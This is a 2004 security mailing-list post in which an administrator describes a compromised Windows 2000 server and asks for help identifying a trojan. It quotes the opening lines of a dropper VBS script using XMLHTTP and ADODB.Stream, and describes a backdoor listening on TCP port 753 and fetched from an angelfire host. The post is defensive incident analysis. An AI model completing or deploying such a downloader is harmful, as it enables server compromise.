mailing list archives
Need help to identify a trojan
From: "Maxime Ducharme" <mducharme () cybergeneration com>
Date: Fri, 9 Jul 2004 09:34:27 -0400
Hi to the list,
one of our customer's servers have been compromised and I'd
need help to identify trojan used.
Here is the server's setup :
- Windows 2000 OS
(2 updates missing, KB870669 and KB839643)
- IIS 5.0 running with ASP applications
- Serv-U FTP Server v4.0
- not firewalled ... :(
I first found a file named "blabla.vbs" in C:\ which contains this
Set xPost = CreateObject("Microsoft.XMLHTTP")
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
The lsassvc.exe is still on angelfire's web server, and I mirrored it
This file is bound to TCP port 753, and a connection on this
port output this :
220 jsdaus Microsoft FTP Service (Version 5.0)
Looks like a "special" FTP service. The program answers my "USER"
and "PASS" commands :
< 331 Password required for test.
< 530 Login incorrect.
It is also bound on a service name "Local Security Authority Service
Norton says this file is not infected, but it looks really suspicious, we
already shut down the server for analysis. It has been used for scanning.
Other hack tools have been found under C:\RECYCLER\speedy.
I'd like to know which kind of trojan it is, and if it has self-propagating
behavior like some Ago-Gaobot.
Thx for any help
Programmeur / Spécialiste en sécurité réseau
Full-Disclosure - We believe in it.
- Need help to identify a trojan Maxime Ducharme (Jul 09)